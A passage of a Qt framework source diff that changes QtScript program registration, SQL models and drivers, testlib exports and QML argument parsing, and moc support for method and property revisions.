@@ -1576,6 +1578,14 @@ bool QScriptEnginePrivate::scriptDisconnect(JSC::JSValue signal, JSC::JSValue re
 
 #endif
 
+void QScriptEnginePrivate::detachAllRegisteredScriptPrograms()
+{
+    QSet<QScriptProgramPrivate*>::const_iterator it;
+    for (it = registeredScriptPrograms.constBegin(); it != registeredScriptPrograms.constEnd(); ++it)
+        (*it)->detachFromEngine();
+    registeredScriptPrograms.clear();
+}
+
 void QScriptEnginePrivate::detachAllRegisteredScriptValues()
 {
     QScriptValuePrivate *it;
@@ -2078,10 +2088,10 @@ QScriptValue QScriptEngine::newFunction(QScriptEngine::FunctionSignature fun,
     JSC::ExecState* exec = d->currentFrame;
     JSC::JSValue function = new (exec)QScript::FunctionWrapper(exec, length, JSC::Identifier(exec, ""), fun);
     QScriptValue result = d->scriptValueFromJSCValue(function);
-    result.setProperty(QLatin1String("prototype"), prototype, QScriptValue::Undeletable);
+    result.setProperty(QLatin1String("prototype"), prototype,
+                       QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
     const_cast<QScriptValue&>(prototype)
-        .setProperty(QLatin1String("constructor"), result,
-                     QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+        .setProperty(QLatin1String("constructor"), result, QScriptValue::SkipInEnumeration);
     return result;
 }
 
@@ -2347,9 +2357,9 @@ QScriptValue QScriptEngine::newFunction(QScriptEngine::FunctionSignature fun, in
     JSC::JSValue function = new (exec)QScript::FunctionWrapper(exec, length, JSC::Identifier(exec, ""), fun);
     QScriptValue result = d->scriptValueFromJSCValue(function);
     QScriptValue proto = newObject();
-    result.setProperty(QLatin1String("prototype"), proto, QScriptValue::Undeletable);
-    proto.setProperty(QLatin1String("constructor"), result,
-                      QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+    result.setProperty(QLatin1String("prototype"), proto,
+                       QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+    proto.setProperty(QLatin1String("constructor"), result, QScriptValue::SkipInEnumeration);
     return result;
 }
 
@@ -2365,9 +2375,9 @@ QScriptValue QScriptEngine::newFunction(QScriptEngine::FunctionWithArgSignature
     JSC::JSValue function = new (exec)QScript::FunctionWithArgWrapper(exec, /*length=*/0, JSC::Identifier(exec, ""), fun, arg);
     QScriptValue result = d->scriptValueFromJSCValue(function);
     QScriptValue proto = newObject();
-    result.setProperty(QLatin1String("prototype"), proto, QScriptValue::Undeletable);
-    proto.setProperty(QLatin1String("constructor"), result,
-                      QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+    result.setProperty(QLatin1String("prototype"), proto,
+                       QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+    proto.setProperty(QLatin1String("constructor"), result, QScriptValue::SkipInEnumeration);
     return result;
 }
 
@@ -2753,9 +2763,7 @@ JSC::CallFrame *QScriptEnginePrivate::pushContext(JSC::CallFrame *exec, JSC::JSV
         if (!clearScopeChain) {
             newCallFrame->init(0, /*vPC=*/0, exec->scopeChain(), exec, flags | ShouldRestoreCallFrame, argc, callee);
         } else {
-            JSC::JSObject *jscObject = originalGlobalObject();
-            JSC::ScopeChainNode *scn = new JSC::ScopeChainNode(0, jscObject, &exec->globalData(), exec->lexicalGlobalObject(), jscObject);
-            newCallFrame->init(0, /*vPC=*/0, scn, exec, flags | ShouldRestoreCallFrame, argc, callee);
+            newCallFrame->init(0, /*vPC=*/0, globalExec()->scopeChain(), exec, flags | ShouldRestoreCallFrame, argc, callee);
         }
     } else {
         setContextFlags(newCallFrame, flags);
diff --git a/src/script/api/qscriptengine_p.h b/src/script/api/qscriptengine_p.h
index 05a8901..94d195e 100644
--- a/src/script/api/qscriptengine_p.h
+++ b/src/script/api/qscriptengine_p.h
@@ -56,6 +56,7 @@
 #include "Debugger.h"
 #include "ErrorInstance.h"
 #include "JSArray.h"
+#include "Executable.h"
 #include "Lexer.h"
 #include "RefPtr.h"
 #include "RegExpConstructor.h"
@@ -87,6 +88,7 @@ class QScriptEngineAgent;
 class QScriptEnginePrivate;
 class QScriptSyntaxCheckResult;
 class QScriptEngine;
+class QScriptProgramPrivate;
 
 namespace QScript
 {
@@ -230,6 +232,8 @@ public:
     static inline JSC::ExecState *frameForContext(QScriptContext *context);
     static inline const JSC::ExecState *frameForContext(const QScriptContext *context);
 
+    static inline bool hasValidCodeBlockRegister(JSC::ExecState *frame);
+
     JSC::JSGlobalObject *originalGlobalObject() const;
     JSC::JSObject *getOriginalGlobalObjectProxy();
     JSC::JSObject *customGlobalObject() const;
@@ -273,6 +277,10 @@ public:
     static QScriptSyntaxCheckResult checkSyntax(const QString &program);
     static bool canEvaluate(const QString &program);
 
+    inline void registerScriptProgram(QScriptProgramPrivate *program);
+    inline void unregisterScriptProgram(QScriptProgramPrivate *program);
+    void detachAllRegisteredScriptPrograms();
+
     inline QScriptValuePrivate *allocateScriptValuePrivate(size_t);
     inline void freeScriptValuePrivate(QScriptValuePrivate *p);
 
@@ -368,6 +376,7 @@ public:
     static const int maxFreeScriptValues = 256;
     int freeScriptValuesCount;
     QScriptStringPrivate *registeredScriptStrings;
+    QSet<QScriptProgramPrivate*> registeredScriptPrograms;
     QHash<int, QScriptTypeInfo*> m_typeInfos;
     int processEventsInterval;
     QScriptValue abortResult;
@@ -566,6 +575,18 @@ inline QByteArray convertToLatin1(const JSC::UString &str)
 
 } // namespace QScript
 
+inline void QScriptEnginePrivate::registerScriptProgram(QScriptProgramPrivate *program)
+{
+    Q_ASSERT(!registeredScriptPrograms.contains(program));
+    registeredScriptPrograms.insert(program);
+}
+
+inline void QScriptEnginePrivate::unregisterScriptProgram(QScriptProgramPrivate *program)
+{
+    Q_ASSERT(registeredScriptPrograms.contains(program));
+    registeredScriptPrograms.remove(program);
+}
+
 inline QScriptValuePrivate *QScriptEnginePrivate::allocateScriptValuePrivate(size_t size)
 {
     if (freeScriptValues) {
@@ -844,6 +865,21 @@ inline const JSC::ExecState *QScriptEnginePrivate::frameForContext(const QScript
     return reinterpret_cast<const JSC::ExecState*>(context);
 }
 
+inline bool QScriptEnginePrivate::hasValidCodeBlockRegister(JSC::ExecState *frame)
+{
+#if ENABLE(JIT)
+    // Frames created by the VM don't have their CodeBlock register
+    // initialized. We can detect such frames by checking if the
+    // callee is a host JSFunction.
+    JSC::JSObject *callee = frame->callee();
+    return !(callee && callee->inherits(&JSC::JSFunction::info)
+             && JSC::asFunction(callee)->isHostFunction());
+#else
+    Q_UNUSED(frame);
+    return true;
+#endif
+}
+
 inline JSC::ExecState *QScriptEnginePrivate::globalExec() const
 {
     return originalGlobalObject()->globalExec();
diff --git a/src/script/api/qscriptprogram.cpp b/src/script/api/qscriptprogram.cpp
index da103bb..31af9a0 100644
--- a/src/script/api/qscriptprogram.cpp
+++ b/src/script/api/qscriptprogram.cpp
@@ -64,6 +64,7 @@ QScriptProgramPrivate::~QScriptProgramPrivate()
     if (engine) {
         QScript::APIShim shim(engine);
         _executable.clear();
+        engine->unregisterScriptProgram(this);
     }
 }
 
@@ -78,7 +79,10 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
     if (_executable) {
         if (eng == engine)
             return _executable.get();
-        _executable = 0;
+        // "Migrating" to another engine; clean up old state
+        QScript::APIShim shim(engine);
+        _executable.clear();
+        engine->unregisterScriptProgram(this);
     }
     WTF::PassRefPtr<QScript::UStringSourceProviderWithFeedback> provider
         = QScript::UStringSourceProviderWithFeedback::create(sourceCode, fileName, firstLineNumber, eng);
@@ -86,10 +90,19 @@ JSC::EvalExecutable *QScriptProgramPrivate::executable(JSC::ExecState *exec,
     JSC::SourceCode source(provider, firstLineNumber); //after construction of SourceCode provider variable will be null.
     _executable = JSC::EvalExecutable::create(exec, source);
     engine = eng;
+    engine->registerScriptProgram(this);
     isCompiled = false;
     return _executable.get();
 }
 
+void QScriptProgramPrivate::detachFromEngine()
+{
+    _executable.clear();
+    sourceId = -1;
+    isCompiled = false;
+    engine = 0;
+}
+
 /*!
   Constructs a null QScriptProgram.
 */
@@ -122,9 +135,6 @@ QScriptProgram::QScriptProgram(const QScriptProgram &other)
 */
 QScriptProgram::~QScriptProgram()
 {
-    //    Q_D(QScriptProgram);
-    //    if (d->engine && (d->ref == 1))
-    //      d->engine->unregisterScriptProgram(d);
 }
 
 /*!
@@ -132,9 +142,6 @@ QScriptProgram::~QScriptProgram()
 */
 QScriptProgram &QScriptProgram::operator=(const QScriptProgram &other)
 {
-  //    if (d_func() && d_func()->engine && (d_func()->ref == 1))
-      //        d_func()->engine->unregisterScriptProgram(d_func());
-  //    }
     d_ptr = other.d_ptr;
     return *this;
 }
diff --git a/src/script/api/qscriptprogram_p.h b/src/script/api/qscriptprogram_p.h
index d2fd234..e7809ab 100644
--- a/src/script/api/qscriptprogram_p.h
+++ b/src/script/api/qscriptprogram_p.h
@@ -61,6 +61,7 @@ public:
 
     JSC::EvalExecutable *executable(JSC::ExecState *exec,
                                     QScriptEnginePrivate *engine);
+    void detachFromEngine();
 
     QBasicAtomicInt ref;
 
diff --git a/src/script/bridge/qscriptclassobject.cpp b/src/script/bridge/qscriptclassobject.cpp
index 9285883..2085756 100644
--- a/src/script/bridge/qscriptclassobject.cpp
+++ b/src/script/bridge/qscriptclassobject.cpp
@@ -183,6 +183,10 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt
                                               JSC::PropertyNameArray &propertyNames,
                                               JSC::EnumerationMode mode)
 {
+    // For compatibility with the old back-end, normal JS properties
+    // are added first.
+    QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode);
+
     QScriptEnginePrivate *engine = scriptEngineFromExec(exec);
     QScript::SaveFrameHelper saveFrame(engine, exec);
     QScriptValue scriptObject = engine->scriptValueFromJSCValue(object);
@@ -195,7 +199,6 @@ void ClassObjectDelegate::getOwnPropertyNames(QScriptObject* object, JSC::ExecSt
         }
         delete it;
     }
-    QScriptObjectDelegate::getOwnPropertyNames(object, exec, propertyNames, mode);
 }
 
 JSC::CallType ClassObjectDelegate::getCallData(QScriptObject*, JSC::CallData &callData)
diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp
index 0dcf1ec..6126b32 100644
--- a/src/script/bridge/qscriptdeclarativeclass.cpp
+++ b/src/script/bridge/qscriptdeclarativeclass.cpp
@@ -179,6 +179,11 @@ QScriptDeclarativeClass::PersistentIdentifier::operator=(const PersistentIdentif
     return *this;
 }
 
+QString QScriptDeclarativeClass::PersistentIdentifier::toString() const
+{
+    return ((JSC::Identifier &)d).ustring();
+}
+
 QScriptDeclarativeClass::QScriptDeclarativeClass(QScriptEngine *engine)
 : d_ptr(new QScriptDeclarativeClassPrivate)
 {
@@ -468,6 +473,14 @@ QString QScriptDeclarativeClass::toString(const Identifier &identifier)
     return QString((QChar *)r->data(), r->size());
 }
 
+bool QScriptDeclarativeClass::startsWithUpper(const Identifier &identifier)
+{
+    JSC::UString::Rep *r = (JSC::UString::Rep *)identifier;
+    if (r->size() < 1)
+        return false;
+    return QChar::category((ushort)(r->data()[0])) == QChar::Letter_Uppercase;
+}
+
 quint32 QScriptDeclarativeClass::toArrayIndex(const Identifier &identifier, bool *ok)
 {
     JSC::UString::Rep *r = (JSC::UString::Rep *)identifier;
diff --git a/src/script/bridge/qscriptdeclarativeclass_p.h b/src/script/bridge/qscriptdeclarativeclass_p.h
index 25dc396..e4c18f5 100644
--- a/src/script/bridge/qscriptdeclarativeclass_p.h
+++ b/src/script/bridge/qscriptdeclarativeclass_p.h
@@ -107,6 +107,7 @@ public:
         PersistentIdentifier(const PersistentIdentifier &other);
         PersistentIdentifier &operator=(const PersistentIdentifier &other);
 
+        QString toString() const;
     private:
         friend class QScriptDeclarativeClass;
         PersistentIdentifier(QScriptEnginePrivate *e) : identifier(0), engine(e), d(0) {}
@@ -126,6 +127,7 @@ public:
     PersistentIdentifier createPersistentIdentifier(const Identifier &);
 
     QString toString(const Identifier &);
+    bool startsWithUpper(const Identifier &);
     quint32 toArrayIndex(const Identifier &, bool *ok);
 
     virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &, 
diff --git a/src/sql/drivers/oci/qsql_oci.h b/src/sql/drivers/oci/qsql_oci.h
index 51fd14c..22bd78d 100644
--- a/src/sql/drivers/oci/qsql_oci.h
+++ b/src/sql/drivers/oci/qsql_oci.h
@@ -54,6 +54,9 @@
 
 QT_BEGIN_HEADER
 
+typedef struct OCIEnv OCIEnv;
+typedef struct OCISvcCtx OCISvcCtx;
+
 QT_BEGIN_NAMESPACE
 
 class QOCIDriver;
@@ -61,9 +64,6 @@ class QOCICols;
 struct QOCIDriverPrivate;
 struct QOCIResultPrivate;
 
-typedef struct OCIEnv OCIEnv;
-typedef struct OCISvcCtx OCISvcCtx;
-
 class Q_EXPORT_SQLDRIVER_OCI QOCIResult : public QSqlCachedResult
 {
     friend class QOCIDriver;
diff --git a/src/sql/drivers/odbc/qsql_odbc.cpp b/src/sql/drivers/odbc/qsql_odbc.cpp
index 1573d02..0b534d9 100644
--- a/src/sql/drivers/odbc/qsql_odbc.cpp
+++ b/src/sql/drivers/odbc/qsql_odbc.cpp
@@ -214,7 +214,7 @@ static QString qWarnODBCHandle(int handleType, SQLHANDLE handle, int *nativeCode
                           state_,
                           &nativeCode_,
                           0,
-                          NULL,
+                          0,
                           &msgLen);
         if ((r == SQL_SUCCESS || r == SQL_SUCCESS_WITH_INFO) && msgLen > 0)
             description_.resize(msgLen+1);
diff --git a/src/sql/drivers/psql/qsql_psql.cpp b/src/sql/drivers/psql/qsql_psql.cpp
index 5a32d1a..34277b3 100644
--- a/src/sql/drivers/psql/qsql_psql.cpp
+++ b/src/sql/drivers/psql/qsql_psql.cpp
@@ -1021,6 +1021,9 @@ QSqlIndex QPSQLDriver::primaryIndex(const QString& tablename) const
             stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
                    "pg_namespace where pg_namespace.nspname = '%1') AND ").arg(schema));
         break;
+    case QPSQLDriver::VersionUnknown:
+        qFatal("PSQL version is unknown");
+        break;
     }
 
     i.exec(stmt.arg(tbl));
@@ -1110,6 +1113,9 @@ QSqlRecord QPSQLDriver::record(const QString& tablename) const
             stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
                    "pg_namespace where pg_namespace.nspname = '%1')").arg(schema));
         break;
+    case QPSQLDriver::VersionUnknown:
+        qFatal("PSQL version is unknown");
+        break;
     }
 
     QSqlQuery query(createResult());
diff --git a/src/sql/kernel/qsqldatabase.cpp b/src/sql/kernel/qsqldatabase.cpp
index 66808c8..b0ae8d9 100644
--- a/src/sql/kernel/qsqldatabase.cpp
+++ b/src/sql/kernel/qsqldatabase.cpp
@@ -798,7 +798,7 @@ void QSqlDatabasePrivate::init(const QString &type)
     Destroys the object and frees any allocated resources.
 
     If this is the last QSqlDatabase object that uses a certain
-    database connection, the is automatically closed.
+    database connection, the database connection is automatically closed.
 
     \sa close()
 */
diff --git a/src/sql/kernel/qsqlquery.cpp b/src/sql/kernel/qsqlquery.cpp
index 4b92a3e..3cdc8b1 100644
--- a/src/sql/kernel/qsqlquery.cpp
+++ b/src/sql/kernel/qsqlquery.cpp
@@ -272,7 +272,7 @@ static void qInit(QSqlQuery *q, const QString& query, QSqlDatabase db)
 
 /*!
     Constructs a QSqlQuery object using the SQL \a query and the
-    database \a db. If \a db is not specified, the application's
+    database \a db. If \a db is not specified, or is invalid, the application's
     default database is used. If \a query is not an empty string, it
     will be executed.
 
@@ -286,6 +286,7 @@ QSqlQuery::QSqlQuery(const QString& query, QSqlDatabase db)
 
 /*!
     Constructs a QSqlQuery object using the database \a db.
+    If \a db is invalid, the application's default database will be used.
 
     \sa QSqlDatabase
 */
diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp
index 8730192..d1051de 100644
--- a/src/sql/models/qsqlquerymodel.cpp
+++ b/src/sql/models/qsqlquerymodel.cpp
@@ -279,7 +279,11 @@ QVariant QSqlQueryModel::headerData(int section, Qt::Orientation orientation, in
             val = d->headers.value(section).value(Qt::EditRole);
         if (val.isValid())
             return val;
-        if (role == Qt::DisplayRole && d->rec.count() > section)
+
+        // See if it's an inserted column (iiq.column() != -1)
+        QModelIndex dItem = indexInQuery(createIndex(0, section));
+
+        if (role == Qt::DisplayRole && d->rec.count() > section && dItem.column() != -1)
             return d->rec.fieldName(section);
     }
     return QAbstractItemModel::headerData(section, orientation, role);
@@ -306,6 +310,8 @@ void QSqlQueryModel::queryChange()
     lastError() can be used to retrieve verbose information if there
     was an error setting the query.
 
+    \note Calling setQuery() will remove any inserted columns.
+
     \sa query(), QSqlQuery::isActive(), QSqlQuery::setForwardOnly(), lastError()
 */
 void QSqlQueryModel::setQuery(const QSqlQuery &query)
@@ -370,7 +376,8 @@ void QSqlQueryModel::setQuery(const QSqlQuery &query)
 /*! \overload
 
     Executes the query \a query for the given database connection \a
-    db. If no database is specified, the default connection is used.
+    db. If no database (or an invalid database) is specified, the
+    default connection is used.
 
     lastError() can be used to retrieve verbose information if there
     was an error setting the query.
diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp
index 3bb46cc..bf7c0aa 100644
--- a/src/sql/models/qsqltablemodel.cpp
+++ b/src/sql/models/qsqltablemodel.cpp
@@ -393,6 +393,8 @@ QString QSqlTableModel::tableName() const
     specified filter and sort condition, and returns true if successful; otherwise
     returns false.
 
+    \note Calling select() will revert any unsubmitted changes and remove any inserted columns.
+
     \sa setTable(), setFilter(), selectStatement()
 */
 bool QSqlTableModel::select()
@@ -423,6 +425,10 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const
     if (!index.isValid() || (role != Qt::DisplayRole && role != Qt::EditRole))
         return QVariant();
 
+    // Problem.. we need to use QSQM::indexInQuery to handle inserted columns
+    // but inserted rows we need to handle
+    // and indexInQuery is not virtual (grrr) so any values we pass to QSQM need
+    // to handle the insertedRows
     QModelIndex item = indexInQuery(index);
 
     switch (d->strategy) {
@@ -450,7 +456,9 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const
             return var;
         break; }
     }
-    return QSqlQueryModel::data(item, role);
+
+    // We need to handle row mapping here, but not column mapping
+    return QSqlQueryModel::data(index.sibling(item.row(), index.column()), role);
 }
 
 /*!
@@ -649,7 +657,7 @@ bool QSqlTableModel::insertRowIntoTable(const QSqlRecord &values)
         return false;
     }
 
-    return d->exec(stmt, prepStatement, rec);
+    return d->exec(stmt, prepStatement, rec, QSqlRecord() /* no where values */);
 }
 
 /*!
@@ -687,7 +695,7 @@ bool QSqlTableModel::deleteRowFromTable(int row)
     }
     stmt.append(QLatin1Char(' ')).append(where);
 
-    return d->exec(stmt, prepStatement, whereValues);
+    return d->exec(stmt, prepStatement, QSqlRecord() /* no new values */, whereValues);
 }
 
 /*!
@@ -1095,9 +1103,12 @@ bool QSqlTableModel::removeRows(int row, int count, const QModelIndex &parent)
             int idx = row + i;
             if (idx >= rowCount())
                 return false;
-            if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert)
+            if (d->cache.value(idx).op == QSqlTableModelPrivate::Insert) {
                 revertRow(idx);
-            else {
+                // Reverting a row means all the other cache entries have been adjusted downwards
+                // so fake this by adjusting row
+                --row;
+            } else {
                 d->cache[idx].op = QSqlTableModelPrivate::Delete;
                 d->cache[idx].primaryValues = d->primaryValues(indexInQuery(createIndex(idx, 0)).row());
                 emit headerDataChanged(Qt::Vertical, idx, idx);
@@ -1225,7 +1236,7 @@ int QSqlTableModel::rowCount(const QModelIndex &parent) const
 QModelIndex QSqlTableModel::indexInQuery(const QModelIndex &item) const
 {
     Q_D(const QSqlTableModel);
-    const QModelIndex it = QSqlQueryModel::indexInQuery(item);
+    const QModelIndex it = QSqlQueryModel::indexInQuery(item); // this adjusts columns only
     if (d->strategy == OnManualSubmit) {
         int rowOffset = 0;
         QSqlTableModelPrivate::CacheMap::ConstIterator i = d->cache.constBegin();
@@ -1332,6 +1343,9 @@ bool QSqlTableModel::setRecord(int row, const QSqlRecord &record)
             else
                 mrow.rec.setValue(idx, record.value(i));
         }
+
+        if (isOk)
+            emit dataChanged(createIndex(row, 0), createIndex(row, columnCount() - 1));
         return isOk; }
     }
     return false;
diff --git a/src/sql/models/qsqltablemodel_p.h b/src/sql/models/qsqltablemodel_p.h
index d2b96e6..f4f3811 100644
--- a/src/sql/models/qsqltablemodel_p.h
+++ b/src/sql/models/qsqltablemodel_p.h
@@ -75,7 +75,7 @@ public:
     QSqlRecord record(const QVector<QVariant> &values) const;
 
     bool exec(const QString &stmt, bool prepStatement,
-              const QSqlRecord &rec, const QSqlRecord &whereValues = QSqlRecord());
+              const QSqlRecord &rec, const QSqlRecord &whereValues);
     virtual void revertCachedRow(int row);
     void revertInsertedRow();
     bool setRecord(int row, const QSqlRecord &record);
diff --git a/src/sql/sql.pro b/src/sql/sql.pro
index 54f4289..81aa3c0 100644
--- a/src/sql/sql.pro
+++ b/src/sql/sql.pro
@@ -20,7 +20,10 @@ include(models/models.pri)
 symbian: {
     TARGET.UID3=0x2001E61D
 
-    # Workaroud for problems with paging this dll
-    MMP_RULES -= PAGED
-    MMP_RULES *= UNPAGED
+    # Problems using data exports from this DLL mean that we can't page it on releases that don't support
+    # data exports (currently that's any release before Symbian^3)
+    pagingBlock = "$${LITERAL_HASH}ifndef SYMBIAN_DLL_DATA_EXPORTS_SUPPORTED" \
+                  "UNPAGED" \
+                  "$${LITERAL_HASH}endif"
+    MMP_RULES += pagingBlock
 }
diff --git a/src/src.pro b/src/src.pro
index 0bf3b52..0908911 100644
--- a/src/src.pro
+++ b/src/src.pro
@@ -113,6 +113,7 @@ src_webkit_declarative.target = sub-webkitdeclarative
    src_declarative.depends = src_gui src_script src_network
    src_plugins.depends = src_gui src_sql src_svg
    contains(QT_CONFIG, multimedia):src_plugins.depends += src_multimedia
+   contains(QT_CONFIG, declarative):src_plugins.depends += src_declarative
    src_s60installs.depends = $$TOOLS_SUBDIRS $$SRC_SUBDIRS
    src_s60installs.depends -= src_s60installs
    src_imports.depends = src_gui src_declarative
diff --git a/src/testlib/qbenchmark_p.h b/src/testlib/qbenchmark_p.h
index 9a83a1a..ace17db 100644
--- a/src/testlib/qbenchmark_p.h
+++ b/src/testlib/qbenchmark_p.h
@@ -130,7 +130,7 @@ public:
     QBenchmarkGlobalData:current is created at the beginning of qExec()
     and cleared at the end.
 */
-class QBenchmarkGlobalData
+class Q_TESTLIB_EXPORT QBenchmarkGlobalData
 {
 public:
     static QBenchmarkGlobalData *current;
@@ -161,7 +161,7 @@ private:
     created at the beginning of qInvokeTestMethod() and cleared at
     the end.
 */
-class QBenchmarkTestMethodData
+class Q_TESTLIB_EXPORT QBenchmarkTestMethodData
 {
 public:
     static QBenchmarkTestMethodData *current;
diff --git a/src/testlib/qtestcase.cpp b/src/testlib/qtestcase.cpp
index 55f5fbe..22d59f9 100644
--- a/src/testlib/qtestcase.cpp
+++ b/src/testlib/qtestcase.cpp
@@ -1014,6 +1014,10 @@ static bool isValidSlot(const QMetaMethod &sl)
     return true;
 }
 
+Q_TESTLIB_EXPORT bool printAvailableFunctions = false;
+Q_TESTLIB_EXPORT QStringList testFunctions;
+Q_TESTLIB_EXPORT QStringList testTags;
+
 static void qPrintTestSlots()
 {
     for (int i = 0; i < QTest::currentTestObject->metaObject()->methodCount(); ++i) {
@@ -1034,7 +1038,7 @@ static int qToInt(char *str)
     return l;
 }
 
-static void qParseArgs(int argc, char *argv[])
+Q_TESTLIB_EXPORT void qtest_qParseArgs(int argc, char *argv[], bool qml)
 {
     const char *testOptions =
          " options:\n"
@@ -1084,8 +1088,12 @@ static void qParseArgs(int argc, char *argv[])
                    "%s", argv[0], testOptions);
             exit(0);
         } else if (strcmp(argv[i], "-functions") == 0) {
-            qPrintTestSlots();
-            exit(0);
+            if (qml) {
+                QTest::printAvailableFunctions = true;
+            } else {
+                qPrintTestSlots();
+                exit(0);
+            }
         } else if(strcmp(argv[i], "-xunitxml") == 0){
             QTestLog::setLogMode(QTestLog::XunitXML);
         } else if (strcmp(argv[i], "-xml") == 0) {
@@ -1221,6 +1229,32 @@ static void qParseArgs(int argc, char *argv[])
         } else if (argv[i][0] == '-') {
             printf("Unknown option: '%s'\n\n%s", argv[i], testOptions);
             exit(1);
+        } else if (qml) {
+            // We can't check the availability of test functions until
+            // we load the QML files.  So just store the data for now.
+            int colon = -1;
+            int offset;
+            for(offset = 0; *(argv[i]+offset); ++offset) {
+                if (*(argv[i]+offset) == ':') {
+                    if (*(argv[i]+offset+1) == ':') {
+                        // "::" is used as a test name separator.
+                        // e.g. "ClickTests::test_click:row1".
+                        ++offset;
+                    } else {
+                        colon = offset;
+                        break;
+                    }
+                }
+            }
+            if (colon == -1) {
+                QTest::testFunctions += QString::fromLatin1(argv[i]);
+                QTest::testTags += QString();
+            } else {
+                QTest::testFunctions +=
+                    QString::fromLatin1(argv[i], colon);
+                QTest::testTags +=
+                    QString::fromLatin1(argv[i] + colon + 1);
+            }
         } else {
 			if (!QTest::testFuncs) {
 		        QTest::testFuncs = new QTest::TestFunction[512];
@@ -1785,7 +1819,7 @@ int QTest::qExec(QObject *testObject, int argc, char **argv)
     QTEST_ASSERT(metaObject);
 
     QTestResult::setCurrentTestObject(metaObject->className());
-    qParseArgs(argc, argv);
+    qtest_qParseArgs(argc, argv, false);
     if (QTest::randomOrder) {
         seedRandom();
     }
diff --git a/src/testlib/qtestlog_p.h b/src/testlib/qtestlog_p.h
index 59282fd..a892d3d 100644
--- a/src/testlib/qtestlog_p.h
+++ b/src/testlib/qtestlog_p.h
@@ -59,7 +59,7 @@ QT_BEGIN_NAMESPACE
 
 class QBenchmarkResult;
 
-class QTestLog
+class Q_TESTLIB_EXPORT QTestLog
 {
 public:
     enum LogMode { Plain = 0, XML, LightXML, XunitXML };
diff --git a/src/testlib/qtestresult_p.h b/src/testlib/qtestresult_p.h
index 15523f5..7ff120a 100644
--- a/src/testlib/qtestresult_p.h
+++ b/src/testlib/qtestresult_p.h
@@ -60,7 +60,7 @@ QT_BEGIN_NAMESPACE
 class QTestResultPrivate;
 class QTestData;
 
-class QTestResult
+class Q_TESTLIB_EXPORT QTestResult
 {
 public:
     enum TestLocation { NoWhere = 0, DataFunc = 1, InitFunc = 2, Func = 3, CleanupFunc = 4 };
diff --git a/src/testlib/qtesttable_p.h b/src/testlib/qtesttable_p.h
index d085b57..f835506 100644
--- a/src/testlib/qtesttable_p.h
+++ b/src/testlib/qtesttable_p.h
@@ -60,7 +60,7 @@ QT_BEGIN_NAMESPACE
 class QTestData;
 class QTestTablePrivate;
 
-class QTestTable
+class Q_TESTLIB_EXPORT QTestTable
 {
 public:
     QTestTable();
diff --git a/src/tools/moc/generator.cpp b/src/tools/moc/generator.cpp
index 222e5f6..4df7ae5 100644
--- a/src/tools/moc/generator.cpp
+++ b/src/tools/moc/generator.cpp
@@ -181,10 +181,14 @@ void Generator::generateCode()
     int methodCount = cdef->signalList.count() + cdef->slotList.count() + cdef->methodList.count();
     fprintf(out, "    %4d, %4d, // methods\n", methodCount, methodCount ? index : 0);
     index += methodCount * 5;
+    if (cdef->revisionedMethods)
+        index += methodCount;
     fprintf(out, "    %4d, %4d, // properties\n", cdef->propertyList.count(), cdef->propertyList.count() ? index : 0);
     index += cdef->propertyList.count() * 3;
     if(cdef->notifyableProperties)
         index += cdef->propertyList.count();
+    if (cdef->revisionedProperties)
+        index += cdef->propertyList.count();
     fprintf(out, "    %4d, %4d, // enums/sets\n", cdef->enumList.count(), cdef->enumList.count() ? index : 0);
 
     int enumsIndex = index;
@@ -217,6 +221,14 @@ void Generator::generateCode()
 //
     generateFunctions(cdef->methodList, "method", MethodMethod);
 
+//
+// Build method version arrays
+//
+    if (cdef->revisionedMethods) {
+        generateFunctionRevisions(cdef->signalList, "signal");
+        generateFunctionRevisions(cdef->slotList, "slot");
+        generateFunctionRevisions(cdef->methodList, "method");
+    }
 
 //
 // Build property array
@@ -456,7 +468,7 @@ void Generator::generateFunctions(QList<FunctionDef>& list, const char *functype
         }
         sig += ')';
 
-        char flags = type;
+        unsigned char flags = type;
         if (f.access == FunctionDef::Private)
             flags |= AccessPrivate;
         else if (f.access == FunctionDef::Public)
@@ -475,11 +487,23 @@ void Generator::generateFunctions(QList<FunctionDef>& list, const char *functype
             flags |= MethodCloned;
         if (f.isScriptable)
             flags |= MethodScriptable;
+        if (f.revision > 0)
+            flags |= MethodRevisioned;
         fprintf(out, "    %4d, %4d, %4d, %4d, 0x%02x,\n", strreg(sig),
                 strreg(arguments), strreg(f.normalizedType), strreg(f.tag), flags);
     }
 }
 
+void Generator::generateFunctionRevisions(QList<FunctionDef>& list, const char *functype)
+{
+    if (list.count())
+        fprintf(out, "\n // %ss: revision\n", functype);
+    for (int i = 0; i < list.count(); ++i) {
+        const FunctionDef &f = list.at(i);
+        fprintf(out, "    %4d,\n", f.revision);
+    }
+}
+
 void Generator::generateProperties()
 {
     //
@@ -537,6 +561,9 @@ void Generator::generateProperties()
         if (p.notifyId != -1)
             flags |= Notify;
 
+        if (p.revision > 0)
+            flags |= Revisioned;
+
         if (p.constant)
             flags |= Constant;
         if (p.final)
@@ -562,6 +589,13 @@ void Generator::generateProperties()
                         p.notifyId);
         }
     }
+    if (cdef->revisionedProperties) {
+        fprintf(out, "\n // properties: revision\n");
+        for (int i = 0; i < cdef->propertyList.count(); ++i) {
+            const PropertyDef &p = cdef->propertyList.at(i);
+            fprintf(out, "    %4d,\n", p.revision);
+        }
+    }
 }
 
 void Generator::generateEnums(int index)
diff --git a/src/tools/moc/generator.h b/src/tools/moc/generator.h
index 63605eb..ed0980e 100644
